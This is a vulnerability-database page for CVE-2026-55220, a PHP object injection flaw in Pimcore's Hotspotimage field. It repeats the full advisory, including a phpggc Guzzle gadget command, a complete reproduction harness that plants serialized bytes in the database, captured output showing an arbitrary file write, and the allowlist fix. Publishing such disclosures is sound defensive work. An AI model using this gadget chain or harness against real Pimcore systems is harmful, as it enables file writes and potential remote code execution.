CVE-2026-55220

GHSA-w23p-wrp7-ch38 CRITICAL
Published August 28, 2026

## Summary `Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource()` deserializes the `*__hotspots` object-store column through the `Pimcore\Tool\Serialize::unserialize()` wrapper **without a class allowlist** (the wrapper's `$allowedClasses` parameter defaults to `true`,...

Full CISO analysis pending enrichment.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Panel composer >= 2026.1.0, <= 2026.1.5 2026.1.6
5.7K OpenSSF 6.9 502 dependents Pushed 6d ago 67% patched ~14d to patch Full package profile →

Do you use Panel? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
N/A

What should I do?

Patch available

Update Panel to version 2026.1.6

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-55220?

## Summary `Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource()` deserializes the `*__hotspots` object-store column through the `Pimcore\Tool\Serialize::unserialize()` wrapper **without a class allowlist** (the wrapper's `$allowedClasses` parameter defaults to `true`, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-`serialize()`d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted `unserialize()` over the stored column value. An attacker who can write the `*__hotspots` store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (`__wakeup`/`__destruct`) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. `guzzlehttp/guzzle`). The same field-data family also affects the sibling marshallers `ImageGallery`, `Block`, and `Video`, which use the identical `json_decode(...) ?: Serialize::unserialize(...)` fallback over their respective store columns. The root cause is shared: `Serialize::unserialize()` defaults to an unrestricted class list, and these callers pass no second argument. ## Severity High. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled `guzzlehttp/guzzle 7.11.0`). This is the deserialization leg of an attack: it requires the ability to write the `*__hotspots` object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase. ## Affected component - File: `models/DataObject/ClassDefinition/Data/Hotspotimage.php`, method `getDataFromResource()`. - Vulnerable lines (v2026.1.4 / v12.3.8): ```php $metaData = $data[$this->getName() . '__hotspots']; // check if the data is JSON (backward compatibility) $md = json_decode($metaData, true); if (!$md) { $md = Serialize::unserialize($metaData); // unrestricted: allowed_classes defaults to true } elseif (is_array($md)) { $md['hotspots'] = $md; } ``` - Root enabler: `lib/Tool/Serialize.php` ```php public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed { if ($data === null || $data === '') { return $data; } return unserialize($data, ['allowed_classes' => $allowedClasses]); // default true = unrestricted } ``` - Sibling marshallers with the identical fallback shape: `ImageGallery`, `Block`, `Video` (DataObject\ClassDefinition\Data). - Package: `pimcore/pimcore` (Composer). - Affected versions: all currently maintained releases, including the latest `v2026.1.4` and `v12.3.8` (verified against deployed `v2026.1.4`). ## Data flow 1. On save, `Hotspotimage::getDataForResource()` stores the hotspot/marker/crop metadata as `Serialize::serialize($metaData)` into the `<field>__hotspots` object-store column — i.e. PHP serialized bytes, not JSON. 2. On load, `Hotspotimage::getDataFromResource()` reads that column, calls `json_decode()` (which fails for the serialized format), and therefore falls through to `Serialize::unserialize($metaData)` with the default unrestricted class list. 3. `Serialize::unserialize()` invokes `unserialize($data, ['allowed_classes' => true])`, instantiating any class named in the bytes and triggering its magic methods. 4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null `<field>__image`. The attacker primitive is the ability to place crafted serialized bytes into the `<field>__hotspots` store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable. ## Proof of Concept Verified end-to-end against a real, locally deployed Pimcore `v2026.1.4` (Composer skeleton + MariaDB + `pimcore:install`), not a ported stub. The gadget is `phpggc Guzzle/FW1` built against Pimcore's own bundled `guzzlehttp/guzzle 7.11.0`; its `GuzzleHttp\Cookie\FileCookieJar::__destruct` writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains). Gadget generation (476→474 raw bytes, non-JSON so the `unserialize` fallback is taken): ``` printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt ./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser # stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{... ``` Reproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into `object_store_<id>.img__hotspots`, then reloads the object through the real Pimcore model layer): ```php <?php declare(strict_types=1); namespace App\Command; use Pimcore\Db; use Pimcore\Model\Asset; use Pimcore\Model\DataObject; use Pimcore\Model\DataObject\ClassDefinition; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; #[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')] final class E2eHotspotCommand extends Command { protected function configure(): void { $this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON'); $this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false'); } protected function execute(InputInterface $input, OutputInterface $output): int { $o = fn (string $m) => $output->writeln($m); $gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser'); $target = '/tmp/pimcore_pwned_hotspot.txt'; @unlink($target); $o('=== STEP 1: create DataObject class with a Hotspotimage field ==='); $class = ClassDefinition::getByName('E2eHotspot'); if (!$class) { $class = new ClassDefinition(); $class->setName('E2eHotspot'); $class->setGroup('e2e'); $field = new ClassDefinition\Data\Hotspotimage(); $field->setName('img'); $field->setTitle('img'); $panel = new ClassDefinition\Layout\Panel(); $panel->setName('Layout'); $panel->addChild($field); $class->setLayoutDefinitions($panel); $class->save(); } $o(' class id=' . $class->getId()); $o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ==='); $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=='); $asset = Asset::getByPath('/e2e_pixel.png'); if (!$asset) { $asset = new Asset\Image(); $asset->setFilename('e2e_pixel.png'); $asset->setParent(Asset::getById(1)); $asset->setData($png); $asset->save(); } $o(' asset id=' . $asset->getId()); $o('=== STEP 3: create+save object carrying that image ==='); $obj = DataObject::getByPath('/e2e_obj'); if (!$obj) { $fqcn = '\\Pimcore\\Model\\DataObject\\' . $class->getName(); $obj = new $fqcn(); $obj->setKey('e2e_obj'); $obj->setParent(DataObject::getById(1)); $obj->setPublished(true); $obj->setValue('img', new DataObject\Data\Hotspotimage($asset)); $obj->save(); } $objId = $obj->getId(); $store = 'object_store_' . $class->getId(); $o(' object id=' . $objId . ' store=' . $store); $o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ==='); $db = Db::get(); $payload = $input->getOption('benign') ? json_encode(['hotspots' => [], 'marker' => [], 'crop' => []]) : $gadget; $db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]); $stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]); $o(' stored prefix: ' . substr($stored, 0, 60)); $o(' json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . ' (=> unserialize fallback)'); $o('=== STEP 5: clear cache + reload object => getDataFromResource() ==='); \Pimcore\Cache::clearAll(); \Pimcore\Cache\RuntimeCache::clear(); $o(' target file before load exists? ' . var_export(file_exists($target), true)); if ($input->getOption('restricted')) { $o(' [negative control] fixed wrapper allowed_classes=false on the same bytes'); $res = @unserialize($stored, ['allowed_classes' => false]); $o(' returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a')); gc_collect_cycles(); } else { try { $reloaded = DataObject\Concrete::getById($objId, ['force' => true]); $reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load $o(' reloaded class=' . get_class($reloaded)); unset($reloaded); } catch (\Throwable $e) { $o(' (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage()); } gc_collect_cycles(); } $o('=== RESULT ==='); clearstatcache(); if (file_exists($target)) { $o(' [VULNERABLE] gadget file WRITTEN: ' . $target); $o(' contents: ' . trim((string) file_get_contents($target))); } else { $o(' [NOT TRIGGERED] target file absent'); } return Command::SUCCESS; } } ``` Captured output — RUN A (positive, gadget): ``` === STEP 1: create DataObject class with a Hotspotimage field === class id=1 === STEP 2: create image asset (Hotspotimage needs a valid __image id) === asset id=2 === STEP 3: create+save object carrying that image === object id=4 store=object_store_1 === STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column === stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\ json_decode(stored) === null ? true (=> unserialize fallback) === STEP 5: clear cache + reload object => getDataFromResource() === target file before load exists? false (post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array === RESULT === [VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt contents: [{"Expires":1,"Discard":false,"Value":"PWNED_BY_DESERIALIZATION_1780420803"}] ``` Captured output — RUN B (negative control, benign JSON in the column): ``` === STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column === [negative control] storing benign JSON stored prefix: {"hotspots":[],"marker":[],"crop":[]} json_decode(stored) === null ? false (=> unserialize fallback) === STEP 5: clear cache + reload object => getDataFromResource() === target file before load exists? false reloaded class=Pimcore\Model\DataObject\E2eHotspot === RESULT === [NOT TRIGGERED] target file absent ``` Captured output — RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes): ``` === STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column === stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\ json_decode(stored) === null ? true (=> unserialize fallback) === STEP 5: clear cache + reload object => getDataFromResource() === target file before load exists? false [negative control] fixed wrapper allowed_classes=false on the same bytes returned type=object class=__PHP_Incomplete_Class === RESULT === [NOT TRIGGERED] target file absent ``` RUN A shows the attacker bytes drive `unserialize()` to instantiate the `GuzzleHttp\Cookie\FileCookieJar` gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe `json_decode` branch (no deserialization, no file). RUN C shows that performing the same deserialization with an `allowed_classes` allowlist returns an inert `__PHP_Incomplete_Class` and the gadget never runs — i.e. the proposed fix neutralizes the attack. ## Impact PHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled `guzzlehttp/guzzle 7.11.0` `FileCookieJar` chain. Because the `*__hotspots` column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed. ## Remediation Make `Serialize::unserialize()` safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers. Preferred minimal fix at the wrapper (closes the whole `Serialize::unserialize()`-without-allowlist family in one place): ```php public static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed ``` (i.e. flip the default to `false`, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass `['allowed_classes' => false]` (or a tight allowlist such as `[MarkerHotspotItem::class]`) explicitly. RUN C above confirms `allowed_classes` deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1

Is CVE-2026-55220 actively exploited?

No confirmed active exploitation of CVE-2026-55220 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-55220?

Update to patched version: Panel 2026.1.6.

What is the CVSS score for CVE-2026-55220?

No CVSS score has been assigned yet.

What are the technical details?

Original Advisory

## Summary `Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource()` deserializes the `*__hotspots` object-store column through the `Pimcore\Tool\Serialize::unserialize()` wrapper **without a class allowlist** (the wrapper's `$allowedClasses` parameter defaults to `true`, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-`serialize()`d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted `unserialize()` over the stored column value. An attacker who can write the `*__hotspots` store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (`__wakeup`/`__destruct`) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. `guzzlehttp/guzzle`). The same field-data family also affects the sibling marshallers `ImageGallery`, `Block`, and `Video`, which use the identical `json_decode(...) ?: Serialize::unserialize(...)` fallback over their respective store columns. The root cause is shared: `Serialize::unserialize()` defaults to an unrestricted class list, and these callers pass no second argument. ## Severity High. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled `guzzlehttp/guzzle 7.11.0`). This is the deserialization leg of an attack: it requires the ability to write the `*__hotspots` object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase. ## Affected component - File: `models/DataObject/ClassDefinition/Data/Hotspotimage.php`, method `getDataFromResource()`. - Vulnerable lines (v2026.1.4 / v12.3.8): ```php $metaData = $data[$this->getName() . '__hotspots']; // check if the data is JSON (backward compatibility) $md = json_decode($metaData, true); if (!$md) { $md = Serialize::unserialize($metaData); // unrestricted: allowed_classes defaults to true } elseif (is_array($md)) { $md['hotspots'] = $md; } ``` - Root enabler: `lib/Tool/Serialize.php` ```php public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed { if ($data === null || $data === '') { return $data; } return unserialize($data, ['allowed_classes' => $allowedClasses]); // default true = unrestricted } ``` - Sibling marshallers with the identical fallback shape: `ImageGallery`, `Block`, `Video` (DataObject\ClassDefinition\Data). - Package: `pimcore/pimcore` (Composer). - Affected versions: all currently maintained releases, including the latest `v2026.1.4` and `v12.3.8` (verified against deployed `v2026.1.4`). ## Data flow 1. On save, `Hotspotimage::getDataForResource()` stores the hotspot/marker/crop metadata as `Serialize::serialize($metaData)` into the `<field>__hotspots` object-store column — i.e. PHP serialized bytes, not JSON. 2. On load, `Hotspotimage::getDataFromResource()` reads that column, calls `json_decode()` (which fails for the serialized format), and therefore falls through to `Serialize::unserialize($metaData)` with the default unrestricted class list. 3. `Serialize::unserialize()` invokes `unserialize($data, ['allowed_classes' => true])`, instantiating any class named in the bytes and triggering its magic methods. 4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null `<field>__image`. The attacker primitive is the ability to place crafted serialized bytes into the `<field>__hotspots` store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable. ## Proof of Concept Verified end-to-end against a real, locally deployed Pimcore `v2026.1.4` (Composer skeleton + MariaDB + `pimcore:install`), not a ported stub. The gadget is `phpggc Guzzle/FW1` built against Pimcore's own bundled `guzzlehttp/guzzle 7.11.0`; its `GuzzleHttp\Cookie\FileCookieJar::__destruct` writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains). Gadget generation (476→474 raw bytes, non-JSON so the `unserialize` fallback is taken): ``` printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt ./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser # stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{... ``` Reproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into `object_store_<id>.img__hotspots`, then reloads the object through the real Pimcore model layer): ```php <?php declare(strict_types=1); namespace App\Command; use Pimcore\Db; use Pimcore\Model\Asset; use Pimcore\Model\DataObject; use Pimcore\Model\DataObject\ClassDefinition; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; #[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')] final class E2eHotspotCommand extends Command { protected function configure(): void { $this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON'); $this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false'); } protected function execute(InputInterface $input, OutputInterface $output): int { $o = fn (string $m) => $output->writeln($m); $gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser'); $target = '/tmp/pimcore_pwned_hotspot.txt'; @unlink($target); $o('=== STEP 1: create DataObject class with a Hotspotimage field ==='); $class = ClassDefinition::getByName('E2eHotspot'); if (!$class) { $class = new ClassDefinition(); $class->setName('E2eHotspot'); $class->setGroup('e2e'); $field = new ClassDefinition\Data\Hotspotimage(); $field->setName('img'); $field->setTitle('img'); $panel = new ClassDefinition\Layout\Panel(); $panel->setName('Layout'); $panel->addChild($field); $class->setLayoutDefinitions($panel); $class->save(); } $o(' class id=' . $class->getId()); $o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ==='); $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=='); $asset = Asset::getByPath('/e2e_pixel.png'); if (!$asset) { $asset = new Asset\Image(); $asset->setFilename('e2e_pixel.png'); $asset->setParent(Asset::getById(1)); $asset->setData($png); $asset->save(); } $o(' asset id=' . $asset->getId()); $o('=== STEP 3: create+save object carrying that image ==='); $obj = DataObject::getByPath('/e2e_obj'); if (!$obj) { $fqcn = '\\Pimcore\\Model\\DataObject\\' . $class->getName(); $obj = new $fqcn(); $obj->setKey('e2e_obj'); $obj->setParent(DataObject::getById(1)); $obj->setPublished(true); $obj->setValue('img', new DataObject\Data\Hotspotimage($asset)); $obj->save(); } $objId = $obj->getId(); $store = 'object_store_' . $class->getId(); $o(' object id=' . $objId . ' store=' . $store); $o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ==='); $db = Db::get(); $payload = $input->getOption('benign') ? json_encode(['hotspots' => [], 'marker' => [], 'crop' => []]) : $gadget; $db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]); $stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]); $o(' stored prefix: ' . substr($stored, 0, 60)); $o(' json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . ' (=> unserialize fallback)'); $o('=== STEP 5: clear cache + reload object => getDataFromResource() ==='); \Pimcore\Cache::clearAll(); \Pimcore\Cache\RuntimeCache::clear(); $o(' target file before load exists? ' . var_export(file_exists($target), true)); if ($input->getOption('restricted')) { $o(' [negative control] fixed wrapper allowed_classes=false on the same bytes'); $res = @unserialize($stored, ['allowed_classes' => false]); $o(' returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a')); gc_collect_cycles(); } else { try { $reloaded = DataObject\Concrete::getById($objId, ['force' => true]); $reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load $o(' reloaded class=' . get_class($reloaded)); unset($reloaded); } catch (\Throwable $e) { $o(' (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage()); } gc_collect_cycles(); } $o('=== RESULT ==='); clearstatcache(); if (file_exists($target)) { $o(' [VULNERABLE] gadget file WRITTEN: ' . $target); $o(' contents: ' . trim((string) file_get_contents($target))); } else { $o(' [NOT TRIGGERED] target file absent'); } return Command::SUCCESS; } } ``` Captured output — RUN A (positive, gadget): ``` === STEP 1: create DataObject class with a Hotspotimage field === class id=1 === STEP 2: create image asset (Hotspotimage needs a valid __image id) === asset id=2 === STEP 3: create+save object carrying that image === object id=4 store=object_store_1 === STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column === stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\ json_decode(stored) === null ? true (=> unserialize fallback) === STEP 5: clear cache + reload object => getDataFromResource() === target file before load exists? false (post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array === RESULT === [VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt contents: [{"Expires":1,"Discard":false,"Value":"PWNED_BY_DESERIALIZATION_1780420803"}] ``` Captured output — RUN B (negative control, benign JSON in the column): ``` === STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column === [negative control] storing benign JSON stored prefix: {"hotspots":[],"marker":[],"crop":[]} json_decode(stored) === null ? false (=> unserialize fallback) === STEP 5: clear cache + reload object => getDataFromResource() === target file before load exists? false reloaded class=Pimcore\Model\DataObject\E2eHotspot === RESULT === [NOT TRIGGERED] target file absent ``` Captured output — RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes): ``` === STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column === stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\ json_decode(stored) === null ? true (=> unserialize fallback) === STEP 5: clear cache + reload object => getDataFromResource() === target file before load exists? false [negative control] fixed wrapper allowed_classes=false on the same bytes returned type=object class=__PHP_Incomplete_Class === RESULT === [NOT TRIGGERED] target file absent ``` RUN A shows the attacker bytes drive `unserialize()` to instantiate the `GuzzleHttp\Cookie\FileCookieJar` gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe `json_decode` branch (no deserialization, no file). RUN C shows that performing the same deserialization with an `allowed_classes` allowlist returns an inert `__PHP_Incomplete_Class` and the gadget never runs — i.e. the proposed fix neutralizes the attack. ## Impact PHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled `guzzlehttp/guzzle 7.11.0` `FileCookieJar` chain. Because the `*__hotspots` column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed. ## Remediation Make `Serialize::unserialize()` safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers. Preferred minimal fix at the wrapper (closes the whole `Serialize::unserialize()`-without-allowlist family in one place): ```php public static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed ``` (i.e. flip the default to `false`, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass `['allowed_classes' => false]` (or a tight allowlist such as `[MarkerHotspotItem::class]`) explicitly. RUN C above confirms `allowed_classes` deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1

Weaknesses (CWE)

CWE-502 — Deserialization of Untrusted Data: The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

  • [Architecture and Design, Implementation] If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
  • [Implementation] When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Source: MITRE CWE corpus.

Timeline

Published
August 28, 2026
Last Modified
August 28, 2026
First Seen
August 28, 2026

Related Vulnerabilities